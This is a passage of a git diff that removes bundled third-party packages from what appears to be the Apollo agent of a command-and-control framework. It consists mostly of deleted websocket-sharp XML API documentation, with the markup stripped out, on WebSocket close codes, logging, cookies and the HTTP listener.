b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/packageIcon.png deleted file mode 100644 index 10c06a5c..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/packageIcon.png and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/System.Management.Automation6.1.7/System.Management.Automation.dll b/Payload_Type/apollo/apollo/agent_code/packages/System.Management.Automation6.1.7/System.Management.Automation.dll deleted file mode 100644 index 8a528dbd..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/System.Management.Automation6.1.7/System.Management.Automation.dll and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/.signature.p7s b/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/.signature.p7s deleted file mode 100644 index 12209048..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/.signature.p7s and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/WebSocketSharp-netstandard-customheaders.1.0.3.nupkg b/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/WebSocketSharp-netstandard-customheaders.1.0.3.nupkg deleted file mode 100644 index 6edd458a..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/WebSocketSharp-netstandard-customheaders.1.0.3.nupkg and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/lib/net35/websocket-sharp.xml b/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/lib/net35/websocket-sharp.xml deleted file mode 100644 index 060c79a3..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/lib/net35/websocket-sharp.xml +++ /dev/null @@ -1,10331 +0,0 @@ - - - - websocket-sharp - - - - - Specifies the byte order. - - - - - Specifies Little-endian. - - - - - Specifies Big-endian. - - - - - Represents the event data for the event. - - - - That event occurs when the WebSocket connection has been closed. - - - If you would like to get the reason for the close, you should access - the or property. - - - - - - Gets the status code for the close. - - - A that represents the status code for the close if any. - - - - - Gets the reason for the close. - - - A that represents the reason for the close if any. - - - - - Gets a value indicating whether the connection has been closed cleanly. - - - true if the connection has been closed cleanly; otherwise, false. - - - - - Indicates the status code for the WebSocket connection close. - - - - The values of this enumeration are defined in - - Section 7.4 of RFC 6455. - - - "Reserved value" cannot be sent as a status code in - closing handshake by an endpoint. - - - - - - Equivalent to close status 1000. Indicates normal close. - - - - - Equivalent to close status 1001. Indicates that an endpoint is - going away. - - - - - Equivalent to close status 1002. Indicates that an endpoint is - terminating the connection due to a protocol error. - - - - - Equivalent to close status 1003. Indicates that an endpoint is - terminating the connection because it has received a type of - data that it cannot accept. - - - - - Equivalent to close status 1004. Still undefined. A Reserved value. - - - - - Equivalent to close status 1005. Indicates that no status code was - actually present. A Reserved value. - - - - - Equivalent to close status 1006. Indicates that the connection was - closed abnormally. A Reserved value. - - - - - Equivalent to close status 1007. Indicates that an endpoint is - terminating the connection because it has received a message that - contains data that is not consistent with the type of the message. - - - - - Equivalent to close status 1008. Indicates that an endpoint is - terminating the connection because it has received a message that - violates its policy. - - - - - Equivalent to close status 1009. Indicates that an endpoint is - terminating the connection because it has received a message that - is too big to process. - - - - - Equivalent to close status 1010. Indicates that a client is - terminating the connection because it has expected the server to - negotiate one or more extension, but the server did not return - them in the handshake response. - - - - - Equivalent to close status 1011. Indicates that a server is - terminating the connection because it has encountered an unexpected - condition that prevented it from fulfilling the request. - - - - - Equivalent to close status 1015. Indicates that the connection was - closed due to a failure to perform a TLS handshake. A Reserved value. - - - - - Specifies the method for compression. - - - The methods are defined in - - Compression Extensions for WebSocket. - - - - - Specifies no compression. - - - - - Specifies DEFLATE. - - - - - Represents the event data for the event. - - - - That event occurs when the gets an error. - - - If you would like to get the error message, you should access - the property. - - - And if the error is due to an exception, you can get it by accessing - the property. - - - - - - Gets the exception that caused the error. - - - An instance that represents the cause of - the error if it is due to an exception; otherwise, . - - - - - Gets the error message. - - - A that represents the error message. - - - - - Provides a set of static methods for websocket-sharp. - - - - - Determines whether the specified equals the specified , - and invokes the specified Action<int> delegate at the same time. - - - true if equals ; - otherwise, false. - - - An to compare. - - - A to compare. - - - An Action<int> delegate that references the method(s) called - at the same time as comparing. An parameter to pass to - the method(s) is . - - - - - Gets the absolute path from the specified . - - - A that represents the absolute path if it's successfully found; - otherwise, . - - - A that represents the URI to get the absolute path from. - - - - - Gets the name from the specified that contains a pair of name and - value separated by a separator character. - - - A that represents the name if any; otherwise, null. - - - A that contains a pair of name and value separated by - a separator character. - - - A that represents the separator character. - - - - - Gets the value from the specified that contains a pair of name and - value separated by a separator character. - - - A that represents the value if any; otherwise, null. - - - A that contains a pair of name and value separated by - a separator character. - - - A that represents the separator character. - - - - - Tries to create a new for WebSocket with - the specified . - - - true if the was successfully created; - otherwise, false. - - - A that represents a WebSocket URL to try. - - - When this method returns, a that - represents the WebSocket URL or - if is invalid. - - - When this method returns, a that - represents an error message or - if is valid. - - - - - Determines whether the specified contains any of characters in - the specified array of . - - - true if contains any of ; - otherwise, false. - - - A to test. - - - An array of that contains characters to find. - - - - - Determines whether the specified contains - the entry with the specified . - - - true if contains the entry with - ; otherwise, false. - - - A to test. - - - A that represents the key of the entry to find. - - - - - Determines whether the specified contains the entry with - the specified both and . - - - true if contains the entry with both - and ; otherwise, false. - - - A to test. - - - A that represents the key of the entry to find. - - - A that represents the value of the entry to find. - - - - - Emits the specified delegate if it isn't . - - - A to emit. - - - An from which emits this . - - - A that contains no event data. - - - - - Emits the specified EventHandler<TEventArgs> delegate if it isn't - . - - - An EventHandler<TEventArgs> to emit. - - - An from which emits this . - - - A TEventArgs that represents the event data. - - - The type of the event data generated by the event. - - - - - Gets the collection of the HTTP cookies from the specified HTTP . - - - A that receives a collection of the HTTP cookies. - - - A that contains a collection of the HTTP headers. - - - true if is a collection of the response headers; - otherwise, false. - - - - - Gets the description of the specified HTTP status . - - - A that represents the description of the HTTP status code. - - - One of enum values, indicates the HTTP status code. - - - - - Gets the description of the specified HTTP status . - - - A that represents the description of the HTTP status code. - - - An that represents the HTTP status code. - - - - - Determines whether the specified is in the - range of the status code for the WebSocket connection close. - - - - The ranges are the following: - - - - - 1000-2999: These numbers are reserved for definition by - the WebSocket protocol. - - - - - 3000-3999: These numbers are reserved for use by libraries, - frameworks, and applications. - - - - - 4000-4999: These numbers are reserved for private use. - - - - - - true if is in the range of - the status code for the close; otherwise, false. - - - A to test. - - - - - Determines whether the specified is - enclosed in the specified . - - - true if is enclosed in - ; otherwise, false. - - - A to test. - - - A to find. - - - - - Determines whether the specified is host (this computer - architecture) byte order. - - - true if is host byte order; otherwise, false. - - - One of the enum values, to test. - - - - - Determines whether the specified - represents a local IP address. - - - This local means NOT REMOTE for the current host. - - - true if represents a local IP address; - otherwise, false. - - - A to test. - - - - - Determines whether the specified string is or - an empty string. - - - true if the string is or an empty string; - otherwise, false. - - - A to test. - - - - - Determines whether the specified is - a predefined scheme. - - - true if is a predefined scheme; - otherwise, false. - - - A to test. - - - - - Determines whether the specified is - an HTTP Upgrade request to switch to the specified . - - - true if is an HTTP Upgrade request to switch to - ; otherwise, false. - - - A that represents the HTTP request. - - - A that represents the protocol name. - - - - is . - - - -or- - - - is . - - - - is empty. - - - - - Determines whether the specified is a URI string. - - - true if may be a URI string; - otherwise, false. - - - A to test. - - - - - Retrieves a sub-array from the specified . A sub-array starts at - the specified element position in . - - - An array of T that receives a sub-array, or an empty array of T if any problems with - the parameters. - - - An array of T from which to retrieve a sub-array. - - - An that represents the zero-based starting position of - a sub-array in . - - - An that represents the number of elements to retrieve. - - - The type of elements in . - - - - - Retrieves a sub-array from the specified . A sub-array starts at - the specified element position in . - - - An array of T that receives a sub-array, or an empty array of T if any problems with - the parameters. - - - An array of T from which to retrieve a sub-array. - - - A that represents the zero-based starting position of - a sub-array in . - - - A that represents the number of elements to retrieve. - - - The type of elements in . - - - - - Executes the specified delegate times. - - - An is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified delegate times. - - - A is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified delegate times. - - - A is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified delegate times. - - - A is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified Action<int> delegate times. - - - An is the number of times to execute. - - - An Action<int> delegate that references the method(s) to execute. - An parameter to pass to the method(s) is the zero-based count of - iteration. - - - - - Executes the specified Action<long> delegate times. - - - A is the number of times to execute. - - - An Action<long> delegate that references the method(s) to execute. - A parameter to pass to the method(s) is the zero-based count of - iteration. - - - - - Executes the specified Action<uint> delegate times. - - - A is the number of times to execute. - - - An Action<uint> delegate that references the method(s) to execute. - A parameter to pass to the method(s) is the zero-based count of - iteration. - - - - - Executes the specified Action<ulong> delegate times. - - - A is the number of times to execute. - - - An Action<ulong> delegate that references the method(s) to execute. - A parameter to pass to this method(s) is the zero-based count of - iteration. - - - - - Converts the specified array of to the specified type data. - - - A T converted from , or a default value of - T if is an empty array of or - if the type of T isn't , , , - , , , , - , , or . - - - An array of to convert. - - - One of the enum values, specifies the byte order of - . - - - The type of the return. The T must be a value type. - - - is . - - - - - Converts the specified to an array of . - - - An array of converted from . - - - A T to convert. - - - One of the enum values, specifies the byte order of the return. - - - The type of . The T must be a value type. - - - - - Converts the order of the specified array of to the host byte order. - - - An array of converted from . - - - An array of to convert. - - - One of the enum values, specifies the byte order of - . - - - is . - - - - - Converts the specified to a that - concatenates the each element of across the specified - . - - - A converted from , - or if is empty. - - - An array of T to convert. - - - A that represents the separator string. - - - The type of elements in . - - - is . - - - - - Converts the specified to a . - - - A converted from or - if the convert has failed. - - - A to convert. - - - - - URL-decodes the specified . - - - A that receives the decoded string or - if it is or empty. - - - A to decode. - - - - - URL-encodes the specified . - - - A that receives the encoded string or - if it is or empty. - - - A to encode. - - - - - Writes and sends the specified data with the specified - . - - - A that represents the HTTP response used to - send the content data. - - - An array of that represents the content data to send. - - - - is . - - - -or- - - - is . - - - - - - Indicates whether a WebSocket frame is the final frame of a message. - - - The values of this enumeration are defined in - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates more frames of a message follow. - - - - - Equivalent to numeric value 1. Indicates the final frame of a message. - - - - - Represents a log data used by the class. - - - - - Gets the information of the logging method caller. - - - A that provides the information of the logging method caller. - - - - - Gets the date and time when the log data was created. - - - A that represents the date and time when the log data was created. - - - - - Gets the logging level of the log data. - - - One of the enum values, indicates the logging level of the log data. - - - - - Gets the message of the log data. - - - A that represents the message of the log data. - - - - - Returns a that represents the current . - - - A that represents the current . - - - - - Provides a set of methods and properties for logging. - - - - If you output a log with lower than the value of the property, - it cannot be outputted. - - - The default output action writes a log to the standard output stream and the log file - if the property has a valid path to it. - - - If you would like to use the custom output action, you should set - the property to any Action<LogData, string> - delegate. - - - - - - Initializes a new instance of the class. - - - This constructor initializes the current logging level with . - - - - - Initializes a new instance of the class with - the specified logging . - - - One of the enum values. - - - - - Initializes a new instance of the class with - the specified logging , path to the log , - and action. - - - One of the enum values. - - - A that represents the path to the log file. - - - An Action<LogData, string> delegate that references the method(s) used to - output a log. A parameter passed to this delegate is - . - - - - - Gets or sets the current path to the log file. - - - A that represents the current path to the log file if any. - - - - - Gets or sets the current logging level. - - - A log with lower than the value of this property cannot be outputted. - - - One of the enum values, specifies the current logging level. - - - - - Gets or sets the current output action used to output a log. - - - - An Action<LogData, string> delegate that references the method(s) used to - output a log. A parameter passed to this delegate is the value of - the property. - - - If the value to set is , the current output action is changed to - the default output action. - - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Specifies the logging level. - - - - - Specifies the bottom logging level. - - - - - Specifies the 2nd logging level from the bottom. - - - - - Specifies the 3rd logging level from the bottom. - - - - - Specifies the 3rd logging level from the top. - - - - - Specifies the 2nd logging level from the top. - - - - - Specifies the top logging level. - - - - - Indicates whether the payload data of a WebSocket frame is masked. - - - The values of this enumeration are defined in - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates not masked. - - - - - Equivalent to numeric value 1. Indicates masked. - - - - - Represents the event data for the event. - - - - That event occurs when the receives - a message or a ping if the - property is set to true. - - - If you would like to get the message data, you should access - the or property. - - - - - - Gets the opcode for the message. - - - , , - or . - - - - - Gets the message data as a . - - - A that represents the message data if its type is - text or ping and if decoding it to a string has successfully done; - otherwise, . - - - - - Gets a value indicating whether the message type is binary. - - - true if the message type is binary; otherwise, false. - - - - - Gets a value indicating whether the message type is ping. - - - true if the message type is ping; otherwise, false. - - - - - Gets a value indicating whether the message type is text. - - - true if the message type is text; otherwise, false. - - - - - Gets the message data as an array of . - - - An array of that represents the message data. - - - - - Specifies the scheme for authentication. - - - - - No authentication is allowed. - - - - - Specifies digest authentication. - - - - - Specifies basic authentication. - - - - - Specifies anonymous authentication. - - - - - Stores the parameters for the used by clients. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with the specified . - - - A that represents the target host server name. - - - - - Copies the parameters from the specified to - a new instance of the class. - - - A from which to copy. - - - is . - - - - - Gets or sets a value indicating whether the certificate revocation - list is checked during authentication. - - - - true if the certificate revocation list is checked during - authentication; otherwise, false. - - - The default value is false. - - - - - - Gets or sets the certificates from which to select one to - supply to the server. - - - - A or . - - - That collection contains client certificates from which to select. - - - The default value is . - - - - - - Gets or sets the callback used to select the certificate to - supply to the server. - - - No certificate is supplied if the callback returns - . - - - - A delegate that - invokes the method called for selecting the certificate. - - - The default value is a delegate that invokes a method that - only returns . - - - - - - Gets or sets the protocols used for authentication. - - - - The enum values that represent - the protocols used for authentication. - - - The default value is . - - - - - - Gets or sets the callback used to validate the certificate - supplied by the server. - - - The certificate is valid if the callback returns true. - - - - A delegate that - invokes the method called for validating the certificate. - - - The default value is a delegate that invokes a method that - only returns true. - - - - - - Gets or sets the target host server name. - - - - A or - if not specified. - - - That string represents the name of the server that - will share a secure connection with a client. - - - - - - Provides a set of methods and properties used to manage an HTTP Cookie. - - - - The Cookie class supports the following cookie formats: - Netscape specification, - RFC 2109, and - RFC 2965 - - - The Cookie class cannot be inherited. - - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified - and . - - - A that represents the Name of the cookie. - - - A that represents the Value of the cookie. - - - - is or empty. - - - - or - - - - contains an invalid character. - - - - or - - - - is . - - - - or - - - - contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Initializes a new instance of the class with the specified - , , and . - - - A that represents the Name of the cookie. - - - A that represents the Value of the cookie. - - - A that represents the value of the Path attribute of the cookie. - - - - is or empty. - - - - or - - - - contains an invalid character. - - - - or - - - - is . - - - - or - - - - contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Initializes a new instance of the class with the specified - , , , and - . - - - A that represents the Name of the cookie. - - - A that represents the Value of the cookie. - - - A that represents the value of the Path attribute of the cookie. - - - A that represents the value of the Domain attribute of the cookie. - - - - is or empty. - - - - or - - - - contains an invalid character. - - - - or - - - - is . - - - - or - - - - contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Gets or sets the value of the Comment attribute of the cookie. - - - A that represents the comment to document intended use of the cookie. - - - - - Gets or sets the value of the CommentURL attribute of the cookie. - - - A that represents the URI that provides the comment to document intended - use of the cookie. - - - - - Gets or sets a value indicating whether the client discards the cookie unconditionally - when the client terminates. - - - true if the client discards the cookie unconditionally when the client terminates; - otherwise, false. The default value is false. - - - - - Gets or sets the value of the Domain attribute of the cookie. - - - A that represents the URI for which the cookie is valid. - - - - - Gets or sets a value indicating whether the cookie has expired. - - - true if the cookie has expired; otherwise, false. - The default value is false. - - - - - Gets or sets the value of the Expires attribute of the cookie. - - - A that represents the date and time at which the cookie expires. - The default value is . - - - - - Gets or sets a value indicating whether non-HTTP APIs can access the cookie. - - - true if non-HTTP APIs cannot access the cookie; otherwise, false. - The default value is false. - - - - - Gets or sets the Name of the cookie. - - - A that represents the Name of the cookie. - - - - The value specified for a set operation is or empty. - - - - or - - - - The value specified for a set operation contains an invalid character. - - - - - - Gets or sets the value of the Path attribute of the cookie. - - - A that represents the subset of URI on the origin server - to which the cookie applies. - - - - - Gets or sets the value of the Port attribute of the cookie. - - - A that represents the list of TCP ports to which the cookie applies. - - - The value specified for a set operation isn't enclosed in double quotes or - couldn't be parsed. - - - - - Gets or sets a value indicating whether the security level of the cookie is secure. - - - When this property is true, the cookie may be included in the HTTP request - only if the request is transmitted over the HTTPS. - - - true if the security level of the cookie is secure; otherwise, false. - The default value is false. - - - - - Gets the time when the cookie was issued. - - - A that represents the time when the cookie was issued. - - - - - Gets or sets the Value of the cookie. - - - A that represents the Value of the cookie. - - - - The value specified for a set operation is . - - - - or - - - - The value specified for a set operation contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Gets or sets the value of the Version attribute of the cookie. - - - An that represents the version of the HTTP state management - to which the cookie conforms. - - - The value specified for a set operation isn't 0 or 1. - - - - - Determines whether the specified is equal to the current - . - - - An to compare with the current . - - - true if is equal to the current ; - otherwise, false. - - - - - Serves as a hash function for a object. - - - An that represents the hash code for the current . - - - - - Returns a that represents the current . - - - This method returns a to use to send an HTTP Cookie to - an origin server. - - - A that represents the current . - - - - - Provides a collection container for instances of the class. - - - - - Initializes a new instance of the class. - - - - - Gets the number of cookies in the collection. - - - An that represents the number of cookies in the collection. - - - - - Gets a value indicating whether the collection is read-only. - - - true if the collection is read-only; otherwise, false. - The default value is true. - - - - - Gets a value indicating whether the access to the collection is thread safe. - - - true if the access to the collection is thread safe; otherwise, false. - The default value is false. - - - - - Gets the at the specified from - the collection. - - - A at the specified in the collection. - - - An that represents the zero-based index of the - to find. - - - is out of allowable range of indexes for the collection. - - - - - Gets the with the specified from - the collection. - - - A with the specified in the collection. - - - A that represents the name of the to find. - - - is . - - - - - Gets an object used to synchronize access to the collection. - - - An used to synchronize access to the collection. - - - - - Adds the specified to the collection. - - - A to add. - - - is . - - - - - Adds the specified to the collection. - - - A that contains the cookies to add. - - - is . - - - - - Copies the elements of the collection to the specified , starting at - the specified in the . - - - An that represents the destination of the elements copied from - the collection. - - - An that represents the zero-based index in - at which copying begins. - - - is . - - - is less than zero. - - - - is multidimensional. - - - -or- - - - The number of elements in the collection is greater than the available space from - to the end of the destination . - - - - The elements in the collection cannot be cast automatically to the type of the destination - . - - - - - Copies the elements of the collection to the specified array of , - starting at the specified in the . - - - An array of that represents the destination of the elements - copied from the collection. - - - An that represents the zero-based index in - at which copying begins. - - - is . - - - is less than zero. - - - The number of elements in the collection is greater than the available space from - to the end of the destination . - - - - - Gets the enumerator used to iterate through the collection. - - - An instance used to iterate through the collection. - - - - - The exception that is thrown when a gets an error. - - - - - Initializes a new instance of the class from - the specified and . - - - A that contains the serialized object data. - - - A that specifies the source for the deserialization. - - - - - Initializes a new instance of the class. - - - - - Populates the specified with the data needed to serialize - the current . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - - - Populates the specified with the data needed to serialize - the current . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - - - Holds the username and password from an HTTP Basic authentication attempt. - - - - - Gets the password from a basic authentication attempt. - - - A that represents the password. - - - - - Holds the username and other parameters from - an HTTP Digest authentication attempt. - - - - - Gets the algorithm parameter from a digest authentication attempt. - - - A that represents the algorithm parameter. - - - - - Gets the cnonce parameter from a digest authentication attempt. - - - A that represents the cnonce parameter. - - - - - Gets the nc parameter from a digest authentication attempt. - - - A that represents the nc parameter. - - - - - Gets the nonce parameter from a digest authentication attempt. - - - A that represents the nonce parameter. - - - - - Gets the opaque parameter from a digest authentication attempt. - - - A that represents the opaque parameter. - - - - - Gets the qop parameter from a digest authentication attempt. - - - A that represents the qop parameter. - - - - - Gets the realm parameter from a digest authentication attempt. - - - A that represents the realm parameter. - - - - - Gets the response parameter from a digest authentication attempt. - - - A that represents the response parameter. - - - - - Gets the uri parameter from a digest authentication attempt. - - - A that represents the uri parameter. - - - - - Provides a simple, programmatically controlled HTTP listener. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the scheme used to authenticate the clients. - - - One of the enum values, - represents the scheme used to authenticate the clients. The default value is - . - - - This listener has been closed. - - - - - Gets or sets the delegate called to select the scheme used to authenticate the clients. - - - If you set this property, the listener uses the authentication scheme selected by - the delegate for each request. Or if you don't set, the listener uses the value of - the property as the authentication - scheme for all requests. - - - A Func<, > - delegate that references the method used to select an authentication scheme. The default - value is . - - - This listener has been closed. - - - - - Gets or sets the path to the folder in which stores the certificate files used to - authenticate the server on the secure connection. - - - - This property represents the path to the folder in which stores the certificate files - associated with each port number of added URI prefixes. A set of the certificate files - is a pair of the 'port number'.cer (DER) and 'port number'.key - (DER, RSA Private Key). - - - If this property is or empty, the result of - System.Environment.GetFolderPath - () is used as the default path. - - - - A that represents the path to the folder in which stores - the certificate files. The default value is . - - - This listener has been closed. - - - - - Gets or sets a value indicating whether the listener returns exceptions that occur when - sending the response to the client. - - - true if the listener shouldn't return those exceptions; otherwise, false. - The default value is false. - - - This listener has been closed. - - - - - Gets a value indicating whether the listener has been started. - - - true if the listener has been started; otherwise, false. - - - - - Gets a value indicating whether the listener can be used with the current operating system. - - - true. - - - - - Gets the logging functions. - - - The default logging level is . If you would like to change it, - you should set the Log.Level property to any of the enum - values. - - - A that provides the logging functions. - - - - - Gets the URI prefixes handled by the listener. - - - A that contains the URI prefixes. - - - This listener has been closed. - - - - - Gets or sets the name of the realm associated with the listener. - - - If this property is or empty, "SECRET AREA" will be used as - the name of the realm. - - - A that represents the name of the realm. The default value is - . - - - This listener has been closed. - - - - - Gets or sets the SSL configuration used to authenticate the server and - optionally the client for secure connection. - - - A that represents the configuration used to - authenticate the server and optionally the client for secure connection. - - - This listener has been closed. - - - - - Gets or sets a value indicating whether, when NTLM authentication is used, - the authentication information of first request is used to authenticate - additional requests on the same connection. - - - This property isn't currently supported and always throws - a . - - - true if the authentication information of first request is used; - otherwise, false. - - - Any use of this property. - - - - - Gets or sets the delegate called to find the credentials for an identity used to - authenticate a client. - - - A Func<, > delegate - that references the method used to find the credentials. The default value is - . - - - This listener has been closed. - - - - - Shuts down the listener immediately. - - - - - Begins getting an incoming request asynchronously. - - - This asynchronous operation must be completed by calling the EndGetContext method. - Typically, the method is invoked by the delegate. - - - An that represents the status of the asynchronous operation. - - - An delegate that references the method to invoke when - the asynchronous operation completes. - - - An that represents a user defined object to pass to - the delegate. - - - - This listener has no URI prefix on which listens. - - - -or- - - - This listener hasn't been started, or is currently stopped. - - - - This listener has been closed. - - - - - Shuts down the listener. - - - - - Ends an asynchronous operation to get an incoming request. - - - This method completes an asynchronous operation started by calling - the BeginGetContext method. - - - A that represents a request. - - - An obtained by calling the BeginGetContext method. - - - is . - - - wasn't obtained by calling the BeginGetContext method. - - - This method was already called for the specified . - - - This listener has been closed. - - - - - Gets an incoming request. - - - This method waits for an incoming request, and returns when a request is received. - - - A that represents a request. - - - - This listener has no URI prefix on which listens. - - - -or- - - - This listener hasn't been started, or is currently stopped. - - - - This listener has been closed. - - - - - Starts receiving incoming requests. - - - This listener has been closed. - - - - - Stops receiving incoming requests. - - - This listener has been closed. - - - - - Releases all resources used by the listener. - - - - - Provides the access to the HTTP request and response objects used by - the . - - - This class cannot be inherited. - - - - - Gets the HTTP request object that represents a client request. - - - A that represents the client request. - - - - - Gets the HTTP response object used to send a response to the client. - - - A that represents a response to the client request. - - - - - Gets the client information (identity, authentication, and security roles). - - - A instance that represents the client information. - - - - - Accepts a WebSocket handshake request. - - - A that represents - the WebSocket handshake request. - - - A that represents the subprotocol supported on - this WebSocket connection. - - - - is empty. - - - -or- - - - contains an invalid character. - - - - This method has already been called. - - - - - The exception that is thrown when a gets an error - processing an HTTP request. - - - - - Initializes a new instance of the class from - the specified and . - - - A that contains the serialized object data. - - - A that specifies the source for the deserialization. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with the specified . - - - An that identifies the error. - - - - - Initializes a new instance of the class - with the specified and . - - - An that identifies the error. - - - A that describes the error. - - - - - Gets the error code that identifies the error that occurred. - - - An that identifies the error. - - - - - Initializes a new instance of the class with - the specified . - - - This constructor must be called after calling the CheckPrefix method. - - - A that represents the URI prefix. - - - - - Determines whether this instance and the specified have the same value. - - - This method will be required to detect duplicates in any collection. - - - An to compare to this instance. - - - true if is a and - its value is the same as this instance; otherwise, false. - - - - - Gets the hash code for this instance. - - - This method will be required to detect duplicates in any collection. - - - An that represents the hash code. - - - - - Provides the collection used to store the URI prefixes for the . - - - The responds to the request which has a requested URI that - the prefixes most closely match. - - - - - Gets the number of prefixes in the collection. - - - An that represents the number of prefixes. - - - - - Gets a value indicating whether the access to the collection is read-only. - - - Always returns false. - - - - - Gets a value indicating whether the access to the collection is synchronized. - - - Always returns false. - - - - - Adds the specified to the collection. - - - A that represents the URI prefix to add. The prefix must be - a well-formed URI prefix with http or https scheme, and must end with a '/'. - - - is . - - - is invalid. - - - The associated with this collection is closed. - - - - - Removes all URI prefixes from the collection. - - - The associated with this collection is closed. - - - - - Returns a value indicating whether the collection contains the specified - . - - - true if the collection contains ; - otherwise, false. - - - A that represents the URI prefix to test. - - - is . - - - The associated with this collection is closed. - - - - - Copies the contents of the collection to the specified . - - - An that receives the URI prefix strings in the collection. - - - An that represents the zero-based index in - at which copying begins. - - - The associated with this collection is closed. - - - - - Copies the contents of the collection to the specified array of . - - - An array of that receives the URI prefix strings in the collection. - - - An that represents the zero-based index in - at which copying begins. - - - The associated with this collection is closed. - - - - - Gets the enumerator used to iterate through the . - - - An instance used to iterate - through the collection. - - - - - Removes the specified from the collection. - - - true if is successfully found and removed; - otherwise, false. - - - A that represents the URI prefix to remove. - - - is . - - - The associated with this collection is closed. - - - - - Gets the enumerator used to iterate through the . - - - An instance used to iterate through the collection. - - - - - Provides the access to a request to the . - - - The HttpListenerRequest class cannot be inherited. - - - - - Gets the media types which are acceptable for the response. - - - An array of that contains the media type names in - the Accept request-header, or if the request didn't include - the Accept header. - - - - - Gets an error code that identifies a problem with the client's certificate. - - - Always returns 0. - - - - - Gets the encoding for the entity body data included in the request. - - - A that represents the encoding for the entity body data, - or if the request didn't include the information about - the encoding. - - - - - Gets the number of bytes in the entity body data included in the request. - - - A that represents the value of the Content-Length entity-header, - or -1 if the value isn't known. - - - - - Gets the media type of the entity body included in the request. - - - A that represents the value of the Content-Type entity-header. - - - - - Gets the cookies included in the request. - - - A that contains the cookies included in the request. - - - - - Gets a value indicating whether the request has the entity body. - - - true if the request has the entity body; otherwise, false. - - - - - Gets the HTTP headers used in the request. - - - A that contains the HTTP headers used in the request. - - - - - Gets the HTTP method used in the request. - - - A that represents the HTTP method used in the request. - - - - - Gets a that contains the entity body data included in the request. - - - A that contains the entity body data included in the request. - - - - - Gets a value indicating whether the client that sent the request is authenticated. - - - true if the client is authenticated; otherwise, false. - - - - - Gets a value indicating whether the request is sent from the local computer. - - - true if the request is sent from the local computer; otherwise, false. - - - - - Gets a value indicating whether the HTTP connection is secured using the SSL protocol. - - - true if the HTTP connection is secured; otherwise, false. - - - - - Gets a value indicating whether the request is a WebSocket connection request. - - - true if the request is a WebSocket connection request; otherwise, false. - - - - - Gets a value indicating whether the client requests a persistent connection. - - - true if the client requests a persistent connection; otherwise, false. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the HTTP version used in the request. - - - A that represents the HTTP version used in the request. - - - - - Gets the query string included in the request. - - - A that contains the query string parameters. - - - - - Gets the raw URL (without the scheme, host, and port) requested by the client. - - - A that represents the raw URL requested by the client. - - - - - Gets the client endpoint as an IP address and a port number. - - - A that represents the client endpoint. - - - - - Gets the request identifier of a incoming HTTP request. - - - A that represents the identifier of a request. - - - - - Gets the URL requested by the client. - - - A that represents the URL requested by the client. - - - - - Gets the URL of the resource from which the requested URL was obtained. - - - A that represents the value of the Referer request-header, - or if the request didn't include an Referer header. - - - - - Gets the information about the user agent originating the request. - - - A that represents the value of the User-Agent request-header. - - - - - Gets the server endpoint as an IP address and a port number. - - - A that represents the server endpoint. - - - - - Gets the internet host name and port number (if present) specified by the client. - - - A that represents the value of the Host request-header. - - - - - Gets the natural languages which are preferred for the response. - - - An array of that contains the natural language names in - the Accept-Language request-header, or if the request - didn't include an Accept-Language header. - - - - - Begins getting the client's X.509 v.3 certificate asynchronously. - - - This asynchronous operation must be completed by calling - the method. Typically, - that method is invoked by the delegate. - - - An that contains the status of the asynchronous operation. - - - An delegate that references the method(s) called when - the asynchronous operation completes. - - - An that contains a user defined object to pass to - the delegate. - - - This method isn't implemented. - - - - - Ends an asynchronous operation to get the client's X.509 v.3 certificate. - - - This method completes an asynchronous operation started by calling - the method. - - - A that contains the client's X.509 v.3 certificate. - - - An obtained by calling - the method. - - - This method isn't implemented. - - - - - Gets the client's X.509 v.3 certificate. - - - A that contains the client's X.509 v.3 